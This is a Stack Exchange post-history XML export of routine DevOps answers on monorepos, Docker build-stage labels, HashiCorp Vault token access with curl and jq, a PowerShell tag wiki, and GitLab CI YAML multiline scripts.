deploying many instances of your apps for different clients (even if they are in your own organisation), in which case these are probably ok, but even then you should work on deriving them from the context in which you app runs, rather than hard-coding them in a config file unless absolutely necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Environments&#xD;&#xA;------------&#xD;&#xA;Another major benefit from the monorepo approach is that you gain the ability to 'print' new environments. With an application that is designed to take advantage of this (autoscaling, auto-healing, service-mesh, etc.) this will allow you to have a test environment that is 100% aligned with your production environment. Further, if time-to-market is a prominent enough factor of your business plan, you can spin up multiple test-environments and run your tests in parallel rather than sequentially.&#xD;&#xA;&#xD;&#xA;This also means that developers can have a production-like environment to experiment with whenever they need one. They simply have to run the provisioning scripts for the app and away they go.&#xD;&#xA;&#xD;&#xA;Of course, there is a cost to 'printing' environments and not everyone has the unlimited resources of a major bank to fall back on, so this capability must be managed, but if you engineer your environments to be automatically torn down when they're not being actively used then you will go a long way towards reducing these costs. OPA rules can also be used to ensure that boundaries are not overstepped and costs are managed efficiently without human interaction.&#xD;&#xA;&#xD;&#xA;Team Dependencies&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;Personally, I believe that the major factor in the productivity of individual teams is the relationships they necessarily have with their peers in different layers. If there are 300 dev teams, an infrastructure team will be continually inundated with requests for changes that must be understood, managed, prioritised, and scheduled -- this is a major effort in large orgs and can leave a team waiting months, or longer, for changes that support their needs, leading to project delays. &#xD;&#xA;&#xD;&#xA;There are no winners here -- if the centralised team is working on your problem then they're not working on someone else's, so either you are delayed or the other 300 teams are. It is a lose/lose situation and it simply does not work well at all. Monorepos with git's submodules (or similar structures) help fix this problem. Dev teams can make their own changes to their forked codebase and simply have it reviewed by an authorised representative of the centralised team, and pull requests can be used to manage this process.&#xD;&#xA;&#xD;&#xA;## Feature Flags ##&#xD;&#xA;Of course, nothing is perfect. We don't yet have a silver bullet in software engineering and monorepos are no exception -- here be dragons. One fatal but unfortunately common misconception centres around the concept of feature-flags. These flags show what is finished, production-ready, and can be released, and what is a work in progress and should not yet be released to production. Many articles written by engineers suffering from the Dunning-Kruger effect suggest that these flags should be used to ensure that unfinished code should not be executable in a production environment. In reality, these flags should stop code being released to production at all if it is not yet ready. Non-production code should not be in production -- it is a huge security hole if it is released and this must be avoided.&#xD;&#xA;&#xD;&#xA;No choice really&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;As far as I understand it though, the structure of your repos and software architecture tends to follow the structure of the organisation you work for. Ultimately, the deciding factor may not be related to software at all, but instead is related to your organisation's politics and maturity/sophistication/nature. You may experiment with counter-structures, but usually, these experiments fail to gain traction and are destined for the scrapheap.&#xD;&#xA;&#xD;&#xA;If your organisation is split into separate teams with separate responsibilities then your repos will be split the same way. If you go for a cross-functional team approach then your repos will tend to be merged. If you just have one big team that's responsible for the success of the organisation, even if it has specialities then you will naturally end up with a monorepo and life will be good.&#xD;&#xA;&#xD;&#xA;If your organisation is poorly structured, following the Harvard method espoused by various MBAs, of splitting the organisation into departments and assigning each of them a vice-president and then grouping them whenever there are more than 7 under a senior VP, then your path to working software will be fraught with problems and progress will be slow. I'm not trying to bash MBAs here, it's just that their models conflict with the primary activity of a lot of modern organisations, which is software development, and I feel that they need to modernise their approaches to take into account the opportunities provided by modern technology and big-data, rather than continuing a model that was developed by candlelight.&#xD;&#xA;&#xD;&#xA;Wow, this has turned into a bit of a lecture. Sorry, I don't have time to make it shorter, but as I said up-front, this is a complex subject with a lot of variables. The last section is the most important though, so read that first -- it could save you a lot of pain." ContentLicense="CC BY-SA 4.0" />
  <row Id="41786" PostHistoryTypeId="2" PostId="13584" RevisionGUID="61874e4e-df67-4c71-8d1e-1913e1de3553" CreationDate="2021-03-20T08:12:00.143" UserId="26698" Text="I stumbled upon a solution which I thought was quite elegant, and only requires you to build once: &#xD;&#xA;&#xD;&#xA;Use LABEL feature in your multistage builds, and then after building, you can tag based on label. &#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;* only pull together the build context once&#xD;&#xA;* fast command to tag after the build has been done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The example was discussed in https://forums.docker.com/t/tag-intermediate-build-stages-multi-stage-build/34795&#xD;&#xA;&#xD;&#xA;&gt; Using the LABEL command in my dockerfile I added a label to the build&#xD;&#xA;&gt; stage I’m interested in, then filter for it later:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     FROM node as builder-stage&#xD;&#xA;&gt;     LABEL builder=true&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     FROM node as app-stage&#xD;&#xA;&gt;     LABEL builder=false&#xD;&#xA;&gt; &#xD;&#xA;&gt; Now to filter, sort newest first, cut out the date, and take the top&#xD;&#xA;&gt; row:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     docker images --filter “label=builder=true” --format ‘{{.CreatedAt}}\t{{.ID}}’ | sort -nr | head -n 1 | cut -f2&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that it is important to remove the label in the next build stage.&#xD;&#xA;&#xD;&#xA;This approach works really well for me" ContentLicense="CC BY-SA 4.0" />
  <row Id="41787" PostHistoryTypeId="2" PostId="13585" RevisionGUID="df1455a7-0749-4200-96a2-75e397697e58" CreationDate="2021-03-20T08:40:58.023" UserId="7513" Text="If you want pure-play bash, then you're already doing the right thing, `curl`, and although you don't mention it, it's a good idea to use `jq` when using REST APIs for parsing results, just remember to request json.&#xD;&#xA;&#xD;&#xA;If you can install extra tools, then you can install the vault cli itself. Personally, I never install anything except docker, so I'd run that in a container:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;$ alias vault=&quot;docker run -it --rm --cap-add IPC_LOCK vault&quot;&#xD;&#xA;$ vault --version&#xD;&#xA;Vault v1.5.3 (9fcd81405feb320390b9d71e15a691c3bc1daeef)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As I'm sure you know, the vault cli, just like `curl`, can return json from most of its commands, which you can pipe to `jq` (again) for parsing (which is a lot easier than using go-templates IMO).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41788" PostHistoryTypeId="5" PostId="1631" RevisionGUID="32a8e6e3-537f-49c9-aaa8-c234ddb54e58" CreationDate="2021-03-20T08:43:26.423" UserId="1180" Comment="broken link fixed" Text="&gt; Questions about Windows administration tasks involving PowerShell should be asked on [Super User](https://superuser.com/questions/tagged/powershell). On-topic questions are for writing scripts **ONLY**&#xD;&#xA;&#xD;&#xA;**Windows PowerShell**&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] is an interactive shell and scripting language originally included with Microsoft Windows 7 and Microsoft Windows Server 2008 R2 and above. It includes a command-line shell ([Windows PowerShell][1]) for interactive use, an underlying scripting environment to run scripts away from the command-line and a GUI script editing / debugging environment ([Windows PowerShell ISE][2]). See: [Getting Started with Windows PowerShell][3].&#xD;&#xA;&#xD;&#xA;As a language, [tag:PowerShell] has syntax for literal arrays and hashtables, support for regexes, pattern matching and string expansion. It's built on the .NET framework so it has Unicode support, can be locale/culture aware, and can access .NET framework methods directly.&#xD;&#xA;&#xD;&#xA;As a command-line shell, it is designed around cmdlets named in the form {Verb}-{Noun}, intending that the same kinds of commands work across many domains. E.g. `Get-Date` returns the current date, and `Get-Process` returns an array of objects representing running processes which can be piped to other commands that work with process objects. Many commands and keywords have short aliases to reduce typing.&#xD;&#xA;&#xD;&#xA;As a system management environment, Windows components and Microsoft products have been extended to provide native PowerShell interfaces as part of creating a unified managing system for Windows systems, including:&#xD;&#xA;&#xD;&#xA; - EventLogs, Task Scheduler, WMI, COM objects.&#xD;&#xA; - [Active Directory](http://technet.microsoft.com/en-us/library/hh852274.aspx), [Hyper-V](http://technet.microsoft.com/en-us/library/hh848559.aspx), [IIS](http://technet.microsoft.com/en-us/library/hh867899.aspx), [Remote Desktop Services and other Roles and Features](http://technet.microsoft.com/en-us/library/dn249523.aspx)&#xD;&#xA; - [Exchange Server](http://technet.microsoft.com/en-us/library/bb123778(v=exchg.150).aspx)&#xD;&#xA; - [SQL Server](http://technet.microsoft.com/en-us/library/hh245198.aspx)&#xD;&#xA; - [SharePoint](http://technet.microsoft.com/en-us/sharepoint/jj672838.aspx)&#xD;&#xA; - [Dynamics CRM](http://technet.microsoft.com/en-us/library/f5f906a0-24ad-4888-bb10-6a783cc56473(v=crm.6))&#xD;&#xA; - [Windows Azure cloud services](http://msdn.microsoft.com/en-us/library/windowsazure/jj156055.aspx)&#xD;&#xA; - [Office 365](http://technet.microsoft.com/en-us/magazine/hh750396.aspx)&#xD;&#xA; - As well as the usual scripting tasks &amp;mdash; working with files/folders, user accounts, string manipulation, running external programs, etc. &#xD;&#xA;&#xD;&#xA;Third-party vendors also offer PowerShell integration, including:&#xD;&#xA;&#xD;&#xA; - [VMware vSphere PowerCLI](https://www.vmware.com/support/developer/PowerCLI/)&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] takes the Unix idea of piping text between programs and manipulating text, and enhances it by piping .NET object instances around. Because objects carry type information (e.g. dates and times), and complex state (e.g. properties and methods, hashtables, parsed XML data, live network sockets) this makes many tasks easy that would be difficult or impractical to do by passing text between programs.&#xD;&#xA;&#xD;&#xA;Along with interacting with the PowerShell console or the PowerShell ISE, there are also several 3rd party IDE options including Sapien's [PrimalScript ISE][6].&#xD;&#xA;&#xD;&#xA;**Example Usage**&#xD;&#xA;&#xD;&#xA;    # List all processes using &gt; 100 MB of PagedMemory in descending sort order (v3_    &#xD;&#xA;    C:\PS&gt; Get-Process | Where PagedMemorySize -GT 100MB | Sort -Descending&#xD;&#xA;&#xD;&#xA;    # PowerShell can handle numbers and arithmetic&#xD;&#xA;    C:\PS&gt; (98.6 - 32) * 5/9&#xD;&#xA;    37&#xD;&#xA;&#xD;&#xA;    # Production orientation allows experimentation and confirmation&#xD;&#xA;    C:\PS&gt; Get-ChildItem C:\Users\John *.bak -r | &#xD;&#xA;               Where {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |&#xD;&#xA;               Remove-Item -WhatIf&#xD;&#xA;    What if: Performing operation &quot;Remove File&quot; on Target &quot;C:\Users\John\foo.bak&quot;&#xD;&#xA;    &#xD;&#xA;    C:\PS&gt; Get-Process iexp* | Stop-Process -Confirm&#xD;&#xA;&#xD;&#xA;    Confirm&#xD;&#xA;    Are you sure you want to perform this action?&#xD;&#xA;    Performing operation &quot;Stop-Process&quot; on Target &quot;iexplore (7116)&quot;.&#xD;&#xA;    [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is Y):&#xD;&#xA;&#xD;&#xA;**Common Gotchas**&#xD;&#xA;&#xD;&#xA;Executing EXEs via a path with spaces requires quoting the path and the use of the call operator - `&amp;`&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; &amp; 'C:\Program Files\Windows NT\Accessories\wordpad.exe'&#xD;&#xA;&#xD;&#xA;Calling PowerShell functions does not require parenthesis or comma separated arguments.  PowerShell functions should be called just like a cmdlet.  The following examples demonstrates the problem caused by this issue e.g.:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; function Greet($fname, $lname) {&quot;My name is '$lname', '$fname' '$lname'&quot;}&#xD;&#xA;    C:\PS&gt; Greet('James','Bond') # Wrong way to invoke this function!!&#xD;&#xA;    My name is '', 'James Bond' ''&#xD;&#xA;&#xD;&#xA;Note that both 'James' and 'Bond' are packaged up as a single argument (an array) that is passed to the first parameter.  The correct invocation is:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; Greet James Bond&#xD;&#xA;    My name is 'Bond', 'James' 'Bond'&#xD;&#xA;&#xD;&#xA;Note that in PowerShell 2.0, the use of `Set-StrictMode -version 2.0` will catch this type of problem.&#xD;&#xA;&#xD;&#xA;**Extensible functionalities**&#xD;&#xA;&#xD;&#xA;One of the great features of Powershell is its extensibility: &#xD;&#xA;we can add functionality by importing modules which are package of cmdlets, functions and aliases specialised on a particular domain (such as database administration, virtual machine administration etc.).&#xD;&#xA;&#xD;&#xA;Here are the most commonly used modules by the community :&#xD;&#xA;&#xD;&#xA; - [PSReadLine][18]&#xD;&#xA;[![PSReadLine replaces the command line editing experience in PowerShell.exe ][7]][7] &#xD;&#xA; &quot;PSReadLine replaces the command line editing experience in PowerShell.exe for versions 3 and up.&quot; Included in Windows 10.&#xD;&#xA;&#xD;&#xA; - [Powertab][9]  &#xD;&#xA; &quot;PowerTab offers enhanced tab expansion for PowerShell.&quot; &#xD;&#xA; - [PSCX][10]  &#xD;&#xA; &quot;PowerShell Community Extensions (PSCX) is aimed at providing a widely useful set of additional cmdlets, providers, aliases, filters, functions and scripts for Windows PowerShell that members of the community have expressed interest in but haven't been added to PowerShell yet.&quot; &#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [Microsoft Windows PowerShell Home][11]&#xD;&#xA; - [Windows PowerShell Team Blog][12]&#xD;&#xA; - [MSDN Windows PowerShell][13]&#xD;&#xA; - [PowerShell Code Repository][14]&#xD;&#xA; - [New features in Powershell version 3][15]&#xD;&#xA; - [New features in Powershell version 4][16]&#xD;&#xA; - [New features in Powershell version 5][17]&#xD;&#xA; - [PowerShell Wikipedia Article][18]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://technet.microsoft.com/en-us/library/bb978526.aspx&#xD;&#xA;  [2]: https://technet.microsoft.com/en-us/library/dd819514.aspx&#xD;&#xA;  [3]: https://technet.microsoft.com/en-us/library/hh857337.aspx&#xD;&#xA;  [6]: https://www.sapien.com/software/primalscript&#xD;&#xA;  [7]: http://i.stack.imgur.com/AT4xc.png&#xD;&#xA;  [9]: https://powertab.codeplex.com/&#xD;&#xA;  [10]: http://pscx.codeplex.com/&#xD;&#xA;  [11]: https://technet.microsoft.com/en-us/scriptcenter/powershell.aspx&#xD;&#xA;  [12]: https://web.archive.org/web/20160130164717/http://blogs.msdn.com/b/powershell/&#xD;&#xA;  [13]: https://msdn.microsoft.com/en-us/library/dd835506%28v=VS.85%29.aspx&#xD;&#xA;  [14]: http://poshcode.org/&#xD;&#xA;  [15]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps3&#xD;&#xA;  [16]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps4&#xD;&#xA;  [17]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_new50&#xD;&#xA;  [18]: https://en.wikipedia.org/wiki/PowerShell&#xD;&#xA;  [19]: https://github.com/lzybkr/PSReadLine" ContentLicense="CC BY-SA 4.0" />
  <row Id="41789" PostHistoryTypeId="24" PostId="1631" RevisionGUID="32a8e6e3-537f-49c9-aaa8-c234ddb54e58" CreationDate="2021-03-20T08:43:26.423" Comment="Proposed by 1180 approved by 354, 40 edit id of 1357" ContentLicense="CC BY-SA 4.0" />
  <row Id="41790" PostHistoryTypeId="5" PostId="13585" RevisionGUID="25ecf932-e2d6-4ea0-8bed-2b774e802146" CreationDate="2021-03-20T08:53:09.283" UserId="7513" Comment="added 1670 characters in body" Text="If you want pure-play bash, then you're already doing the right thing, `curl`, and although you don't mention it, it's a good idea to use `jq` when using REST APIs for parsing results, just remember to request json.&#xD;&#xA;&#xD;&#xA;If you can install extra tools, then you can install the vault cli itself. Personally, I never install anything except docker, so I'd run that in a container:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;$ alias vault=&quot;docker run -it --rm --cap-add IPC_LOCK vault&quot;&#xD;&#xA;$ vault --version&#xD;&#xA;Vault v1.5.3 (9fcd81405feb320390b9d71e15a691c3bc1daeef)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As I'm sure you know, the vault cli, just like `curl`, can return json from most of its commands, which you can pipe to `jq` (again) for parsing (which is a lot easier than using go-templates IMO).&#xD;&#xA;&#xD;&#xA;However, having said that, I have a suspicion that maybe you're asking the wrong question. Getting a secret on your laptop isn't really what vault is for and maybe you're just writing the code on your laptop ready to deploy to a server somewhere in order to provide a secret to that server. If that's the case then doing this in bash may be the wrong approach due to the issue of initial trust.&#xD;&#xA;&#xD;&#xA;If you need to get a secret from vault then you have to authenticate first and get a token that has the correct authority (policies) to access the secret you're interested in. Authentication requires some sort of credentials (jwt/username-password/etc.). How do you get those creds to your bash script? You can't commit them to git. &#xD;&#xA;&#xD;&#xA;Perhaps you're provisioning an ec2 instance with user-data that contains the creds the script needs (or any other cloud or on-prem equiv. of this process). If that's the case, then you can work out how to provision the machine with the secret it needs instead of the creds to get the secret. This is of course much easier with containers and kubernetes, but you can do the same thing with VMs of various types. In AWS you can do it with Lambda. In Azure with Azure Functions. On-prem you can do it using VMWare. With this approach, you'd be pushing the secrets management function into the platform (shift-left if you like that vocab.), rather than making it a responsibility of your application layer.&#xD;&#xA;&#xD;&#xA;Maybe this is going too far, and you're just playing around and learning about vault. But if its more than that, you should look at things like SPIFFE and check out the patterns hashicorp has implemented with its K8S sidecar.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41791" PostHistoryTypeId="5" PostId="13585" RevisionGUID="68228539-766d-4a34-813a-48a104bcc3d7" CreationDate="2021-03-20T09:20:23.943" UserId="7513" Comment="added 1670 characters in body" Text="If you want pure-play bash, then you're already doing the right thing, `curl`, and although you don't mention it, it's a good idea to use `jq` when using REST APIs for parsing results, just remember to request json.&#xD;&#xA;&#xD;&#xA;If you can install extra tools, then you can install the vault cli itself. Personally, I never install anything except docker, so I'd run that in a container:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;$ alias vault=&quot;docker run -it --rm --cap-add IPC_LOCK vault&quot;&#xD;&#xA;$ vault --version&#xD;&#xA;Vault v1.5.3 (9fcd81405feb320390b9d71e15a691c3bc1daeef)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As I'm sure you know, the vault cli, just like `curl`, can return json from most of its commands, which you can pipe to `jq` (again) for parsing (which is a lot easier than using go-templates IMO).&#xD;&#xA;&#xD;&#xA;However, having said that, I have a suspicion that maybe you're asking the wrong question. Getting a secret on your laptop isn't really what vault is for and maybe you're just writing the code on your laptop ready to deploy to a server somewhere in order to provide a secret to that server. If that's the case then doing this in bash may be the wrong approach due to the issue of initial trust.&#xD;&#xA;&#xD;&#xA;If you need to get a secret from vault then you have to authenticate first and get a token that has the correct authority (policies) to access the secret you're interested in. Authentication requires some sort of credentials (jwt/username-password/etc.). How do you get those creds to your bash script? You can't commit them to git. &#xD;&#xA;&#xD;&#xA;Perhaps you're provisioning an ec2 instance with user-data that contains the creds the script needs (or any other cloud or on-prem equiv. of this process). If that's the case, then you can work out how to provision the machine with the secret it needs instead of the creds to get the secret. This is of course much easier with containers and kubernetes, but you can do the same thing with VMs of various types. In AWS you can do it with Lambda. In Azure with Azure Functions. On-prem you can do it using VMWare. With this approach, you'd be pushing the secrets management function into the platform (shift-left if you like that vocab.), rather than making it a responsibility of your application layer.&#xD;&#xA;&#xD;&#xA;Maybe this is going too far and you're just playing around and learning about vault, but you did ask for help with direction. But if it's more than that, you should look at things like SPIFFE and check out the patterns hashicorp has implemented with its K8S sidecar.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41792" PostHistoryTypeId="5" PostId="5311" RevisionGUID="d6d06ae7-8fb0-4b7e-9f0f-bcd27ee4cf79" CreationDate="2021-03-20T12:39:03.067" UserId="7513" Comment="Removed curl timing stats and added the -s flag to supress them" Text="This mighty be a lengthy procedure but worth implementing, **creating child tokens to fetch information from Vault Server**.&#xD;&#xA;&#xD;&#xA;Execute following procedure at Vault Server.&#xD;&#xA;&#xD;&#xA;&gt; 1. Create policy to restrict the access for clients.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cat auth-policy.hcl &#xD;&#xA;    path &quot;secret/*&quot; {&#xD;&#xA;      capabilities = [&quot;read&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 2. Write the policy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3. Create token&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault token create -policy=client-access -period=768h                                    &#xD;&#xA;                                                                                    &#xD;&#xA;    Key                Value                                                        &#xD;&#xA;    ---                -----                                                        &#xD;&#xA;    token              *********************                         &#xD;&#xA;    token_accessor     *********************                         &#xD;&#xA;    token_duration     768h                                                         &#xD;&#xA;    token_renewable    true                                                         &#xD;&#xA;    token_policies     [client-access default]  &#xD;&#xA;    -----------------------------------------------&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;Configure `-period` in hours. Token should be renewed after configured period of time. Configure expiry period accordingly by considering `max_lease_ttl` and `default_lease_ttl` in `config.hcl`. &#xD;&#xA; &#xD;&#xA;Configure these parameters in `config.hcl` during Vault startup.&#xD;&#xA;&#xD;&#xA;    max_lease_ttl = &quot;1000h&quot;&#xD;&#xA;    default_lease_ttl = &quot;1000h&quot;&#xD;&#xA;&#xD;&#xA;Now using this child token, from your laptop/machine, you will be able to fetch the information from Vault server, using APIs.&#xD;&#xA;&#xD;&#xA;    $ curl -sH &quot;X-Vault-Token: CHILD-TOKEN&quot; -X GET VAULT-URL/v1/secret/SECRET | jq&#xD;&#xA;    {&#xD;&#xA;      &quot;request_id&quot;: &quot;e53887a2-fe5a-2f27-2121-c716a697f0e8&quot;,&#xD;&#xA;      &quot;lease_id&quot;: &quot;&quot;,&#xD;&#xA;      &quot;renewable&quot;: false,&#xD;&#xA;      &quot;lease_duration&quot;: 25920000,&#xD;&#xA;      &quot;data&quot;: {&#xD;&#xA;        **************&#xD;&#xA;        **************&#xD;&#xA;      },&#xD;&#xA;      &quot;wrap_info&quot;: null,&#xD;&#xA;      &quot;warnings&quot;: null,&#xD;&#xA;      &quot;auth&quot;: null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With this child token, **users can only read the data but neither write or delete data as configured in `auth-policy`**.&#xD;&#xA;&#xD;&#xA;If you still want to secure child token you can save it in Jenkins credentials and will be fetched into bash script when build triggered.&#xD;&#xA;&#xD;&#xA;Hope this helps! Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="41793" PostHistoryTypeId="24" PostId="5311" RevisionGUID="d6d06ae7-8fb0-4b7e-9f0f-bcd27ee4cf79" CreationDate="2021-03-20T12:39:03.067" Comment="Proposed by 7513 approved by -1 edit id of 1358" ContentLicense="CC BY-SA 4.0" />
  <row Id="41794" PostHistoryTypeId="5" PostId="5311" RevisionGUID="e95fed59-9be5-46f6-ac8f-10be997c1081" CreationDate="2021-03-20T12:39:03.067" UserId="40" Comment="deleted 28 characters in body" Text="This mighty be a lengthy procedure but worth implementing, **creating child tokens to fetch information from Vault Server**.&#xD;&#xA;&#xD;&#xA;Execute following procedure at Vault Server.&#xD;&#xA;&#xD;&#xA;&gt; 1. Create policy to restrict the access for clients.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cat auth-policy.hcl &#xD;&#xA;    path &quot;secret/*&quot; {&#xD;&#xA;      capabilities = [&quot;read&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 2. Write the policy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3. Create token&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault token create -policy=client-access -period=768h                                    &#xD;&#xA;                                                                                    &#xD;&#xA;    Key                Value                                                        &#xD;&#xA;    ---                -----                                                        &#xD;&#xA;    token              *********************                         &#xD;&#xA;    token_accessor     *********************                         &#xD;&#xA;    token_duration     768h                                                         &#xD;&#xA;    token_renewable    true                                                         &#xD;&#xA;    token_policies     [client-access default]  &#xD;&#xA;    -----------------------------------------------&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;Configure `-period` in hours. Token should be renewed after configured period of time. Configure expiry period accordingly by considering `max_lease_ttl` and `default_lease_ttl` in `config.hcl`. &#xD;&#xA; &#xD;&#xA;Configure these parameters in `config.hcl` during Vault startup.&#xD;&#xA;&#xD;&#xA;    max_lease_ttl = &quot;1000h&quot;&#xD;&#xA;    default_lease_ttl = &quot;1000h&quot;&#xD;&#xA;&#xD;&#xA;Now using this child token, from your laptop/machine, you will be able to fetch the information from Vault server, using APIs.&#xD;&#xA;&#xD;&#xA;    $ curl -sH &quot;X-Vault-Token: CHILD-TOKEN&quot; -X GET VAULT-URL/v1/secret/SECRET | jq&#xD;&#xA;    {&#xD;&#xA;      &quot;request_id&quot;: &quot;e53887a2-fe5a-2f27-2121-c716a697f0e8&quot;,&#xD;&#xA;      &quot;lease_id&quot;: &quot;&quot;,&#xD;&#xA;      &quot;renewable&quot;: false,&#xD;&#xA;      &quot;lease_duration&quot;: 25920000,&#xD;&#xA;      &quot;data&quot;: {&#xD;&#xA;        **************&#xD;&#xA;        **************&#xD;&#xA;      },&#xD;&#xA;      &quot;wrap_info&quot;: null,&#xD;&#xA;      &quot;warnings&quot;: null,&#xD;&#xA;      &quot;auth&quot;: null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With this child token, **users can only read the data but neither write or delete data as configured in `auth-policy`**.&#xD;&#xA;&#xD;&#xA;If you still want to secure child token you can save it in Jenkins credentials and will be fetched into bash script when build triggered." ContentLicense="CC BY-SA 4.0" />
  <row Id="41795" PostHistoryTypeId="5" PostId="11057" RevisionGUID="cf1eddfa-f56f-4118-b07a-6cef8781fef4" CreationDate="2021-03-20T15:59:36.233" UserId="20042" Comment="added 1734 characters in body" Text="Since `.gitlab-ci.yml` is a `Yaml` file, then just use it's syntax.&#xD;&#xA;&#xD;&#xA;For example, you may use ` &gt; `:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;image: ubuntu&#xD;&#xA;before_script:&#xD;&#xA;  - 'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y )'&#xD;&#xA;  - mkdir -p ~/.ssh&#xD;&#xA;  - chmod 700 ~/.ssh&#xD;&#xA;  - echo -e &quot;$PRIVATE_KEY&quot; &gt; ~/.ssh/id_rsa&#xD;&#xA;  - chmod 600 ~/.ssh/id_rsa&#xD;&#xA;  - '[[ -f /.dockerenv ]] &amp;&amp; echo -e &quot;Host *\n\tStrictHostKeyChecking no\n\n&quot; &gt; ~/.ssh/config'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;SSH:&#xD;&#xA;  tags:&#xD;&#xA;    - mytag&#xD;&#xA;  script: &gt; &#xD;&#xA;  - ssh ubuntu@host &quot;which ssh-agent || &#xD;&#xA;    ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y ) &amp;&amp; &#xD;&#xA;    ssh ubuntu@192.168.1.2 &quot;mkdir -p /home/ubuntu/test&quot; &amp;&amp; &#xD;&#xA;    rsync /home/ubuntu/test/.gitlab-ci.yml ubuntu@192.168.1.2:/home/ubuntu/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Sample usage of `yaml` multilines&#xD;&#xA;&#xD;&#xA;There is a great resource about `yaml` multilines: [YAML Multiline Strings](https://yaml-multiline.info/)&#xD;&#xA;Also, there is a [great SO answer](https://stackoverflow.com/a/21699210/5720818) about `yaml` multilines.&#xD;&#xA;&#xD;&#xA;So let's speculate about pipeline based on these materials.&#xD;&#xA;Since we have specific context (script for `Gitlab CI`) then we don't need all of theese 63 cases:&#xD;&#xA;&#xD;&#xA;                          &gt;     |            &quot;     '     &gt;-     &gt;+     |-     |+&#xD;&#xA;    -------------------------|------|-----|-----|-----|------|------|------|------  &#xD;&#xA;    Trailing spaces   | Kept | Kept |     |     |     | Kept | Kept | Kept | Kept&#xD;&#xA;    Single newline =&gt; | _    | \n   | _   | _   | _   | _    |  _   | \n   | \n&#xD;&#xA;    Double newline =&gt; | \n   | \n\n | \n  | \n  | \n  | \n   |  \n  | \n\n | \n\n&#xD;&#xA;    Final newline  =&gt; | \n   | \n   |     |     |     |      |  \n  |      | \n&#xD;&#xA;    Final dbl nl's =&gt; |      |      |     |     |     |      | Kept |      | Kept  &#xD;&#xA;    In-line newlines  | No   | No   | No  | \n  | No  | No   | No   | No   | No&#xD;&#xA;    Spaceless newlines| No   | No   | No  | \   | No  | No   | No   | No   | No &#xD;&#xA;    Single quote      | '    | '    | '   | '   | ''  | '    | '    | '    | '&#xD;&#xA;    Double quote      | &quot;    | &quot;    | &quot;   | \&quot;  | &quot;   | &quot;    | &quot;    | &quot;    | &quot;&#xD;&#xA;    Backslash         | \    | \    | \   | \\  | \   | \    | \    | \    | \&#xD;&#xA;    &quot; #&quot;, &quot;: &quot;        | Ok   | Ok   | No  | Ok  | Ok  | Ok   | Ok   | Ok   | Ok&#xD;&#xA;    Can start on same | No   | No   | Yes | Yes | Yes | No   | No   | No   | No&#xD;&#xA;    line as key       |&#xD;&#xA;&#xD;&#xA;Assumptions are:&#xD;&#xA;&#xD;&#xA;* we don't need trailing spaces at all&#xD;&#xA;* we don't need final newlines at all&#xD;&#xA;* we'll try to avoid quote escaping mess&#xD;&#xA;* Backslash is intended to combine multi-line scripts&#xD;&#xA;* almost doesn't matter how many spaces before the script&#xD;&#xA;&#xD;&#xA;P.s. I'd suggest to lint your `.gitlab-ci.yml` using GitLab UI&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
